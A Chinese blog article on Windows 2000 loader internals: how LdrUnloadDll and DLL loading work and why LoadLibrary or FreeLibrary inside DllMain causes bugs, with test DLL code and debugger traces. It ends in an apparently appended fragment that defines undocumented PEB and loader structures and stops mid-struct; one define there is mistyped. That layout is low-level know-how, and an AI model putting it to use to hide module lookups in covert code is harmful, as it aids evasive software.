进程初始化里是加载静态链接的DLLs,下面要学习动态加载Dll(LoadLibraryEx)的代码。关于这部分内容,Russ Osterlund的"Win2000 Loader"里有非常详尽的描述,我也没必要重复。
这里我只写出LdrpCheckForLoadedDll和LdrpMapDll两个函数的算法思想:
LdrpCheckForLoadedDll:
This function scans the loader data table looking to see if the specified DLL has already been mapped into the image. If
the dll has been loaded, the address of its data table entry is returned.
(1) if (StaticLink)
{
在哈希表LdrpHashTable中查找Dll,如果找到则返回TRUE,否则则返回FALSE。
}
(2) if (Dll的名字中没有包含路径)
{
StaticLink = TRUE;
返回(1)
}
(3) 调用RtlDosSearchPath_U(...)得到Dll的全路径
(4) while (从前向后遍历InLoadOrderModuleList表,找到每一个LDR_DATA_TABLE_ENTRY)
{
// when we unload, the memory order links flink field is nulled.
// this is used to skip the entry pending list removal.
if ( !Entry->InMemoryOrderLinks.Flink )
continue;
关于InMemoryOrderLinks.Flink为NULL的情况,留到LdrUnloadDll再讲。
比较FullDllName,如果匹配,则退出循环
}
(5) if (没找到)
{
这部分代码不是很明白,我也不是很关心。大概意思是把Dll映射到内存中,然后再遍历InLoadOrderModuleList表,
比较TimeDateStamp,SizeOfImage以及整个file header和optional header,如果都匹配,则说明找到,成功返回。
}
我不是很明白这个函数的代码为什么这么写,Russ Osterlund的代码也不是很清晰。
如果是我写,我就只比较LdrpHashTable哈希表。如果Dll没有包含路径,就比较BaseDllName,否则就比较FullDllName。
为什么还要找InLoadOrderModuleList,它和LdrpHashTable有什么不一致吗?
LdrpMapDll:This routine maps the DLL into the users address space.
(1) if (LdrpKnownDllObjectDirectory != NULL && DllName中没有包含路径)
{
调用LdrpCheckForKnownDll(...)函数,检查该Dll是否是一个Known Dll,
如果是则调用NtOpenSection返回Dll的Section Handle,并跳到第(5)步。
}
LdrpKnownDllObjectDirectory和LdrpKnownDllPath在LdrpInitializeProcess中的第2步得到。
(2) 调用LdrpResolveDllName(...)函数,得到Dll的FullPathName和BaseDllName。
(3) 调用RtlDosPathNameToNtPathName_U(...)函数,将Dos pathname转换成NT style pathname。
(4) 调用LdrpCreateDllSection(...)函数,得到Dll的Section Handle。
(5) 调用NtMapViewOfSection(...)函数,将Dll映射到进程的地址空间。
(6) 调用LdrpAllocateDataTableEntry(...)函数,分配一个loader data table entry。
Entry = LdrpAllocateDataTableEntry(ViewBase);
并初始化Entry中各项:
......
Entry->EntryPoint = LdrpFetchAddressOfEntryPoint(Entry->DllBase); // 得到Dll的入口点
(7) 调用LdrpInsertMemoryTableEntry(...)函数,将该entry加入到list of loaded modules for this process
在LdrpInitializeProcess中的第4步已经详细介绍了LdrpInsertMemoryTableEntry()所做的工作。
(8) 剩下的大部分代码与基址重定位有关,将之略去。
六、FreeLibrary
下面来学习动态卸载Dll(FreeLibrary)的代码。
FreeLibrary会导致调用LdrUnloadDll函数,相比较LdrLoadDll,它要简单得多。
LdrUnloadDll:
(1) 如果进程正在关闭中,立即返回。
(2) 调用LdrpCheckForLoadedDllHandle(...),判断Dll是否存在,如果存在则返回它的LdrDataTableEntry。
(3) if (LdrDataTableEntry->LoadCount != -1)
{
LdrDataTableEntry->LoadCount--;
if (module是Image Dll)
调用LdrpUpdateLoadCount(...)函数,减少它所引用的Dll的LoadCount。
}
else
{
LoadCount等于-1说明这是进程静态链接的Dll,直接退出。
}
(4) 初始化双向链表LdrpUnloadHead。LdrpUnloadHead是个全局变量。
InitializeListHead(&LdrpUnloadHead);
(5) 沿着初始化方向的反方向建立unload list
while (从后向前遍历InInitializationOrderModuleList表,找到每一个LDR_DATA_TABLE_ENTRY)
{
if (LoadCount == 0) // 引用计数为0表明该dll可以被卸载
{
RemoveEntryList(&Entry->InInitializationOrderLinks); // 从InInitializationOrderModuleList表中删除
RemoveEntryList(&Entry->InMemoryOrderLinks); // 从InMemoryOrderList表中删除
RemoveEntryList(&Entry->HashLinks); // 从Hash表中删除
InsertTailList(&LdrpUnloadHead,&Entry->HashLinks); // 将该entry插入到LdrpUnloadHead表的末尾
}
}
(6) 初始化局部的unload list。
InitializeListHead(&LocalUnloadHead);
(7) while (从前向后遍历LdrpUnloadHead链表中的每一项,找到每一个LDR_DATA_TABLE_ENTRY)
{
Entry->InMemoryOrderLinks.Flink = NULL; // 这是个标志,标志dll正在被unload
将dll从global unload list中移走,移入到local unload list中
RemoveEntryList(&Entry->HashLinks);
InsertTailList(&LocalUnloadHead,&Entry->HashLinks);
if (EntryPoint不为NULL && 设置了LDRP_PROCESS_ATTACH_CALLED标志(即the dll has been initialized))
{
调用LdrpCallInitRoutine(,,DLL_PROCESS_DETACH,)函数,执行EntryPoint函数。
}
RemoveEntryList(&Entry->InLoadOrderLinks); // 将其从InLoadOrderList表中删除
}
(8) while (从前向后遍历LocalUnloadHead链表中的每一项,找到每一个LDR_DATA_TABLE_ENTRY)
{
调用NtUnmapViewOfSection(...)函数,unmap在进程空间的映像。
执行一些其他的释放工作。
RtlFreeHeap(Peb->ProcessHeap, 0,Entry); // 释放LDR_DATA_TABLE_ENTRY所占用的内存。
}
LdrUnloadDll里还有一些代码是用于处理在EntryPoint函数里又执行了FreeLibrary的情况,这里没有列出来,因为它会把逻辑搞得更复杂。
不过不要误以为这些代码无足轻重,事实上它们相当重要,在后面会讲到,它们增强了FreeLibrary的安全性。
LdrUnloadDll看上去很简单,但它还是留给了我一些疑惑:
疑惑一:InLoadOrderList和其他List不太一样,是在执行完EntryPoint函数之后才将dll从InLoadOrderList中删除的。
可能是考虑到在EntryPoint函数里可能会执行一些需要用到InLoadOrderList的函数?
疑惑二:为什么要用两个unload list,为什么要将global unload list拷到local unload list?
代码中的注释说这是因为在执行init routine中,global list可能会改变。但这又有什么影响呢?
至此我们已经研究完了有关进程初始化、进程退出、Dll动态装载、Dll动态卸载的代码。现在我们可以根据学到的知识解决一些困惑已久的问题:
问题一
为什么要维护三个双向链表:InLoadOrderModuleList、InMemoryOrderModuleList和InInitializationOrderModuleList?
为什么Dll初始化顺序不同于装载的顺序?
以Russ Osterlund的"Windows 2000 Loader"中带的例子Test为例,下面是从ModuleList中截取的的部分输出:
Ldr.InLoadOrderModuleList: 00131EC0 . 00134590
NO. Module Flags
1 H:\Samples\MSDN Magazine\Windows2000 Loader(0203)\debug\Test.exe LDRP_LOAD_IN_PROGRESS | LDRP_ENTRY_PROCESSED
2 C:\WINNT\system32\ntdll.dll LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED
3 C:\WINNT\system32\KERNEL32.dll LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
4 C:\WINNT\system32\USER32.dll LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_DONT_CALL_FOR_THREAD | LDRP_PROCESS_ATTACH_CALLED
5 C:\WINNT\system32\GDI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED
6 C:\WINNT\system32\IMM32.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
7 C:\WINNT\system32\ADVAPI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
8 C:\WINNT\system32\RPCRT4.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
9 H:\Samples\MSDN Magazine\Windows2000 Loader(0203)\TestDll.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
Ldr.InMemoryOrderModuleList: 00131EC8 . 00134598
1 H:\Samples\MSDN Magazine\Windows2000 Loader(0203)\debug\Test.exe LDRP_LOAD_IN_PROGRESS | LDRP_ENTRY_PROCESSED
2 C:\WINNT\system32\ntdll.dll LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED
3 C:\WINNT\system32\KERNEL32.dll LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
4 C:\WINNT\system32\USER32.dll LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_DONT_CALL_FOR_THREAD | LDRP_PROCESS_ATTACH_CALLED
5 C:\WINNT\system32\GDI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED
6 C:\WINNT\system32\IMM32.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
7 C:\WINNT\system32\ADVAPI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
8 C:\WINNT\system32\RPCRT4.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
9 H:\Samples\MSDN Magazine\Windows2000 Loader(0203)\TestDll.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
Ldr.InInitializationOrderModuleList: 00131F40 . 001345A0
1 C:\WINNT\system32\ntdll.dll LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED
2 C:\WINNT\system32\KERNEL32.dll LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
3 C:\WINNT\system32\GDI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED
4 C:\WINNT\system32\USER32.dll LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_DONT_CALL_FOR_THREAD | LDRP_PROCESS_ATTACH_CALLED
5 C:\WINNT\system32\RPCRT4.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
6 C:\WINNT\system32\ADVAPI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
7 C:\WINNT\system32\IMM32.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
8 H:\Samples\MSDN Magazine\Windows2000 Loader(0203)\TestDll.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
InLoadOrderModuleList的顺序是从头往后走,沿着flink的方向走,靠近头部的是先load的。
InMemoryOrderModuleList的顺序和LoadOrder相同。
InInitializationOrderModuleList的顺序也是从头往后走,沿着flink的方向走,靠近头部的先初始化。
Unload的时侯按与初始化方向相反的方向,沿着blink的方向走,尾部的先unload。
(通过查看win2k\private\windows\base\client\toolhelp.c以及win2k\private\ntos\dll\ldrapi.c里LdrQueryProcessModuleInformation的代码,
可以知道通过toolhelp函数Module32First,Module32Next得到的Module的顺序是LoadOrder的顺序。)
InMemoryOrderModuleList和InLoadOrderModuleList几乎完全一样,它唯一的特殊之处是在LdrUnloadDll里,通过
Entry->InMemoryOrderLinks.Flink = NULL;
标志dll正在被unload。
在LdrpCheckForLoadedDll和LdrpCheckForLoadedDllHandle两个函数里会用到这个特性。
但这似乎不足以成为InMemoryOrderModuleList存在的理由?这仍是我的疑惑。
如果一个Dll A引用了另一个Dll B,那么就会出现Load的顺序与Initialize的顺序不一致的情况。
因为只有先load Dll A才可能知道它引用了Dll B,所以Dll A在InLoadOrderModuleList表中的顺序显示要先于Dll B。
又因为在逻辑上只有先知道Dll B能否初始化成功,才能决定Dll A是否能初始化成功,所以Dll B在InInitializationOrderModuleList表中的顺序要先于Dll A。
问题二
在Russ Osterlund的"Windows 2000 Loader"的最后留下了一个问题:why do some DLLs have a reference count of -1 and the others contain an actual count?
作者说以后会解答这个问题,我也不知道他后来在哪里解答了。可以把这个问题分为两个小问题:
哪些DLLs的引用计数为-1?为什么这些DLLs的引用计数要为-1?
在进程初始化的最开始,只有Process Image和ntdll.dll的LoadCount等于-1。
在装载完static link dlls之后,象kernel32.dll之类的dll的引用计数都不等于-1,从LdrSnap的输出可看出:
LDR: Refcount KERNEL32.dll (1)
LDR: Refcount USER32.dll (1)
LDR: Refcount KERNEL32.DLL (2)
LDR: Refcount GDI32.DLL (1)
LDR: Refcount KERNEL32.DLL (3)
LDR: Refcount USER32.DLL (2)
但是随后,初始化代码把这些静态链接的Dll的LoadCount都强制设为了-1。
并不是说静态链接的dll都要这么做,如果一个dll是通过LoadLibrary动态加载的,那么它静态链接的dll并不会强制设LoadCount为-1,下面是从ModuleList中截取的的部分输出:
LoadCount Module Flag
1 C:\WINNT\system32\IMM32.DLL LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
2 C:\WINNT\system32\ADVAPI32.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
1 C:\WINNT\system32\RPCRT4.DLL LDRP_STATIC_LINK | LDRP_IMAGE_DLL | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED
IMM32.dll是动态加载的,IMM32.dll静态链接于ADVAPI32.DLL,ADVAPI32.DLL又静态链接于RPCRT4.DLL,它们的引用计数都不等于-1。
通过LdrpInitializeProcess的伪代码可以看出,所有并且只有Process Image静态链接的Dlls的LoadCount为-1。
在正常情况下,即LoadLibrary和FreeLibrary成对匹配的情况下,进程隐式链接的Dlls的引用计数永远应该>=1,因为至少Process Image在使用它。
把它们的LoadCount设为-1,既是一种简化的设计,也是一种安全的设计,因为即使是多次调用FreeLibrary也不会把它释放掉。
LdrUnloadDll发现LoadCount等于-1,就立刻返回了。
问题三
为什么在DllMain里不能调用LoadLibrary和FreeLibrary函数?
MSDN里对这个问题的答案十分的晦涩。不过现在我们已经有了足够的知识来解答这个问题。
考虑下面的情况:
(a)DllB静态链接DllA
(b)DllB在DllMain里调用DllA的一个函数A1()
(c)DllA在DllMain里调用LoadLibrary("DllB.dll")
分析:当执行到DllA中的DllMain的时侯,DllA.dll已经被映射到进程地址空间中,已经加入到了module list中。
当它调用LoadLibrary("DllB.dll")时,首先会调用LdrpMapDll把DllB.dll映射到进程地址空间,并加入到InLoadOrderModuleList中。
然后会调用LdrpLoadImportModule(…)加载它引用的DllA.dll,而LdrpLoadImportModule会调用LdrpCheckForLoadedDll检查是否DllA.dll已经被加载。
LdrpCheckForLoadedDll会在哈希表LdrpHashTable中查找DllA.dll,而显然它能找到,所以加载DllA.dll这一步被成功调过。
DllA在它的DllMain函数里能成功加载DllB,并要执行DllB的DllMain函数对其初始化。
站在DllB的角度考虑,当程序运行到它的DllMain的时侯,它完全有理由相信它隐式链接的DllA.dll已经被加载并且成功地初始化。
可事实上,此时DllA只是处在"正在初始化"的过程中!这种理想和现实的差距就是可能产生的Bug的根源,
就是禁止在DllMain里调用LoadLibrary的理由!
本文附带的例子中说明了这种出错的情况:
TestLoad主程序:
int main(int argc, char* argv[])
{
HINSTANCE hDll = ::LoadLibrary( "DllA.dll" ) ;
FreeLibrary( hDll ) ;
return 0;
}
DllA:
HANDLE g_hDllB = NULL ;
char *g_buf = NULL ;
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
OutputDebugString( "==>DllA: Initialize begin!\n" ) ;
g_hDllB = LoadLibrary( "DllB.dll" ) ;
// g_buf在Load DllB.dll之后才初始化,显然它没有料到DllB在初始化时居然会用到g_buf!!
g_buf = new char[128] ;
memset( g_buf, 0, 128 ) ;
OutputDebugString( "==>DllA: Initialize end!\n" ) ;
break ;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
DLLA_API void A1( char *str )
{
OutputDebugString( "==>DllA: A1()\n" ) ;
// 当DllB.dll在它的DllMain函数里调用A1()时,g_buf还没有初始化,所以必然会出错!
strcat( g_buf, "==>DllA: " ) ;
strcpy( g_buf, str ) ;
OutputDebugString( g_buf ) ;
}
DllB:
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
OutputDebugString( "==>DllB: Initialize!\n" ) ;
OutputDebugString( "==>DllB: DllB depend on DllA.\n" ) ;
OutputDebugString( "==>DllB: I think DllA has been initialize.\n" ) ;
// 当程序运行到这时,DllB认为它引用的DllA.dll已经加载并初始化了,所以它调用DllA的函数A1()
A1( "DllB Invoke DllA::A1()\n" ) ;
break ;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
在调用DllA的函数A1()时,因为DllA里有些变量还没初始化,所以会产生exception。
以下是截取的部分LDR的输出,"==>"开头的是程序的输出。
LDR: Loading (DYNAMIC) H:\cm\vc6\TestLoad\bin\DllA.dll
LDR: KERNEL32.dll used by DllA.dll
LDR: Snapping imports for DllA.dll from KERNEL32.dll
LDR: Real INIT LIST
H:\cm\vc6\TestLoad\bin\DllA.dll init routine 10001440
LDR: DllA.dll loaded. - Calling init routine at 10001440
==>DllA: Initialize begin!
LDR: Loading (DYNAMIC) H:\cm\vc6\TestLoad\bin\DllB.dll
LDR: DllA.dll used by DllB.dll
LDR: Snapping imports for DllB.dll from DllA.dll
LDR: Refcount DllA.dll (2)
LDR: Real INIT LIST
H:\cm\vc6\TestLoad\bin\DllB.dll init routine 371260
LDR: DllB.dll loaded. - Calling init routine at 371260
==>DllB: Initialize!
==>DllB: DllB depend on DllA.
==>DllB: I think DllA has been initialize.
==>DllA: A1()
First-chance exception in Test.exe (DLLA.DLL): 0xC0000005: Access Violation.
==>DllA: Initialize end!
在前面已经说过LdrUnloadDll里对DllMain里调用FreeLibrary的情况进行了特殊处理。
此时仍然会对各个相关的Dll引用计数减1,并移入到unload list中,但然后LdrUnloadDll就返回了!并没有执行Dll的termination code。
我构建了一个运行正确的例子TestUnload,说明LdrUnloadDll是怎么处理的。
考虑下面的情况:
(a)DllA依赖于DllC,DllB也依赖于DllC
(b)DllA里调用LoadLibrary("DllB.dll"),并保证其成功
(c)DllA在DllMain的termination code里执行FreeLibrary(),释放DllB
(d)在主程序里动态的加载DllA
下面的代码和注释说明了程序运行的细节:
TestUnload主程序:
int main(int argc, char* argv[])
{
HINSTANCE hDll = ::LoadLibrary( "DllA.dll" ) ;
// 在调用LoadLibrary之后
// LoadOrderList: A(1) --> C(2) --> B(1), 括号内的代表LoadCount
// MemoryOrderList: A(1) --> C(2) --> B(1)
// InitOrderList: C(2) --> A(1) --> B(1)
FreeLibrary( hDll ) ;
return 0;
}
DllA:
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
OutputDebugString( "==>DllA: Initialize!\n" ) ;
// 这里用LoadLibrary是安全的
g_hDllB = LoadLibrary( "DllB.dll" ) ;
if (NULL == g_hDllB)
return FALSE ;
break ;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break ;
case DLL_PROCESS_DETACH:
// 运行到这里时,DllA现在只留在LoadOrderList中,已经从另两个list中删除
// LoadOrderList: A(0) --> C(1) --> B(1)
// MemoryOrderList: C(1) --> B(1)
// InitOrderList: C(1) --> B(1)
OutputDebugString( "==>DllA: Uninitialize begin!\n" ) ;
FreeLibrary( g_hDllB ) ;
// 运行到这里时,DllB和DllC都从MemoryOrderList和InitOrderList中删除了
// LoadOrderList: A(0) --> C(0) --> B(0)
// MemoryOrderList:
// InitOrderList:
OutputDebugString( "==>DllA: Uninitialize end!\n" ) ;
break;
}
return TRUE;
}
如果主程序是静态链接DllA又如何呢?
LdrUnloadDll同样能判断这种情况:如果进程正在关闭那么LdrUnloadDll直接返回。
我也构建了一个运行正确的例子TestUnload2来说明这种情况:
TestUnload2主程序:
int main(int argc, char* argv[])
{
// 此时DllA,DllB,DllC均已load
// LoadOrderList: A(-1) --> C(-1) --> B(1), 括号内的代表LoadCount
// MemoryOrderList: A(-1) --> C(-1) --> B(1)
// InitOrderList: C(-1) --> A(-1) --> B(1)
return 0;
}
DllA:
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
OutputDebugString( "==>DllA: Initialize!\n" ) ;
// 这里用LoadLibrary是安全的
g_hDllB = LoadLibrary( "DllB.dll" ) ;
if (NULL == g_hDllB)
return FALSE ;
break ;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break ;
case DLL_PROCESS_DETACH:
// 运行到这里时,DllB已经被卸载,因为它是InitOrderList中最后一项
// 这里的卸载指的是调用了Init routine,发出了DLL_PROCESS_DETACH通知,而不是指unmap内存中的映像
OutputDebugString( "==>DllA: Uninitialize begin!\n" ) ;
// 这里不应该再调用DllB的函数!!!
// 尽管DllB已经被卸载,但这里调用FreeLibrary并无危险
// 因为LdrUnloadDll判断出进程正在Shutdown,所以它什么也没做,直接返回
FreeLibrary( g_hDllB ) ;
OutputDebugString( "==>DllA: Uninitialize end!\n" ) ;
break;
}
return TRUE;
}
在Jeffrey Richter的"Windows核心编程"和Matt Pietrek在1999年MSJ上的"Under the
Hood"里都说到,
User32.dll在它的initialize
code里会用LoadLibrary加载"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Windows\AppInit_DLLs"
下的dll,在它的terminate code里会用FreeLibrary卸载它们。跟踪它的FreeLibrary函数,发现同上面的例子一样,
LdrUnloadDll发现进程正在Shutdown中,就直接返回了,没有任何危险。(User32.dll是静态链接的函数,只可能在进程关闭时被
卸载。
另外,在我调试的时侯,发现即使AppInit_DLLs下为空,User32.dll仍然会加载imm32.dll)。
总而言之,FreeLibrary本身是相当安全的,但MSDN里对它的警告也并非是胡说八道。在DllMain里使用FreeLibrary仍然是具有危险性的,
与LoadLibrary一样,它们具有相同的Bug哲学,即理想和现实的差距!
TestUnload2虽然运行正确,但是它具有潜在的危险性。
对DllA而言,释放DllB是它的责任,是它在收到DLL_PROCESS_DETACH通知之后用FreeLibrary卸载的,
可事实上如果DllA被主程序静态链接,或者DllA是动态链接但没有用FreeLibrary显式卸载它的话,那么在进程结束时,在DllA卸载DllB之前,DllB就已经被主程序卸载掉了!
这种认识上的错误就是养育Bug的沃土。如果DllA没有认识到这种可能性,而在FreeLibrary之前调用DllB的函数,就极可能出错!!!
为了加深理解,我用文章开头提到的那个Bug来说明这种情况,那可是血的教训。问题描述如下:
我用MFC写了一个OCX,OCX里动态加载了一些Plugin Dlls,在OCX的ExitInstance(相当于DllMain里处理DLL_PROCESS_DETACH通知)里
调用这些Plugin的Uninitialize code,然后用FreeLibrary将其释放。在我用MFC编写的一个Doc/View架构的测试程序里运行良好,
但不久客户就报告了一个Bug:用VB写了一个OCX2来包装我的OCX,在一个网页里使用OCX2,然后在IE里打开这个网页,在关掉IE时会当掉!
发生在特定条件下的奇怪的错误!当时我可是费了不少功夫来解这个Bug,现在一切都那么清晰了。
下面是我用MFC写的测试程序在关闭时的堆栈:
PDFREA_1!CPDFReaderOCXApp::ExitInstance+0x1d
PDFREA_1!DllMain+0x1bb
PDFREA_1!_DllMainCRTStartup+0x80
ntdll!LdrpCallInitRoutine+0x14
ntdll!LdrUnloadDll+0x29a
KERNEL32!FreeLibrary+0x3b
ole32!CClassCache::CDllPathEntry::CFinishObject::Finish+0x2b
ole32!CClassCache::CFinishComposite::Finish+0x19
ole32!CClassCache::FreeUnused+0x192
ole32!CoFreeUnusedLibraries+0x35
MFCO42D!AfxOleTerm+0x7b
MFCO42D!AfxOleTermOrFreeLib+0x12
MFC42D!AfxWinTerm+0xa9
MFC42D!AfxWinMain+0x103
ReaderContainerMFC!WinMain+0x18
ReaderContainerMFC!WinMainCRTStartup+0x1b3
KERNEL32!BaseProcessStart+0x3d
可以看到OCX被FreeLibrary显式地释放,抢在Plugin被进程释放之前,所以不会出错。
下面是关闭IE时的堆栈:
CPDFReaderOCXApp::ExitInstance() line 44
DllMain(HINSTANCE__ * 0x04e10000, unsigned long 0, void * 0x00000001) line 139
_DllMainCRTStartup(void * 0x04e10000, unsigned long 0, void * 0x00000001) line 273 + 17 bytes
NTDLL! LdrShutdownProcess + 238 bytes
KERNEL32! ExitProcess + 85 bytes
可以看到OCX是在LdrShutdownProcess里被释放的,而此时Plugin已经被释放掉了,因为在InInitializationOrderModuleList表里Plugin Dlls在OCX之后,所以它们被先释放!
这种情况要是还不出错真是奇迹了。
总结:虽然MS警告不要在DllMain里不能调用LoadLibrary和FreeLibrary函数,可实际上它还是做了很多的工作来处理这种情况。
只不过因为他不想或者懒得说清楚到底哪些情况不能这么用,才干脆一棒子打死统统不许。
在你自己的程序里不是绝对不能这么用,只是你必须清楚地知道每件事是怎么发生的,以及潜在的危险。
后记:
这篇文章包含了太多的内容,你一定已经看得一头雾水,不知我所云。不仅是你连我自己都有点吃不消。
我不是一个优秀的写者,也无意于此。而且我一直认为,真正的知识永远不是从书本上获得的。
我不知道你能从这篇文章里学到什么,但你一定能从中知道你可以学到什么。
参考资料:
(1) Russ Osterlund, Windows 2000 Loader, MSDN Magazine, March 2002
(2) Matt Pietrek, Under the Hood, MSJ, September 1999
(3) Matt Pietrek, Inside Windows: An In-Depth Look into the Win32 Portable Executable File Format, Part 2, MSDN Magazine, March 2002
(4) Microsoft Portable Executable and Common Object File Format Specification, Revision 6.0 – February 1999
(5) Windows 2000 source code
下载
| 测试程序(包括TestLoad,TestUnload,TestUnload2) 下载后将扩展名.html改为.rar |
http://blog.vckbase.com/Files/BastEt/testnodll.zip
VC2003编译,我想用VC6肯定也能编译通过,不过机器上没装,哪个有空帮我看看在VC6下能达到多少字节?
原始文章来自:http://blog.csdn.net/sunwang123456/archive/2005/10/18/508706.aspx
#define WIN32_LEAN_AND_MEAN
#define WINVER 0×0500
#include <windows.h>
//==========================日啊,好麻烦的结构啊,晕死他的BOOLEAN了,搞得不能对齐。==========
#pragma pack(push,8)
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;
typedef struct RTL_DRIVE_LETTER_CURDIR
{
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
ULONG AllocationSize;
ULONG Size;
ULONG Flags;
ULONG DebugFlags;
HANDLE hConsole;
ULONG ProcessGroup;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
UNICODE_STRING CurrentDirectoryName;
HANDLE CurrentDirectoryHandle;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PWSTR Environment;
ULONG dwX;
ULONG dwY;
ULONG dwXSize;
ULONG dwYSize;
ULONG dwXCountChars;
ULONG dwYCountChars;
ULONG dwFillAttribute;
ULONG dwFlags;
ULONG wShowWindow;
UNICODE_STRING WindowTitle;
UNICODE_STRING Desktop;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeInfo;
RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef VOID (_stdcall *PPEBLOCKROUTINE)(PVOID);
typedef struct _PEB_FREE_BLOCK
{
struct _PEB_FREE_BLOCK* Next;
ULONG Size;
} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;
struct PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PPEBLOCKROUTINE FastPebLockRoutine;
PPEBLOCKROUTINE FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID *KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PPEB_FREE_BLOCK FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID *ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
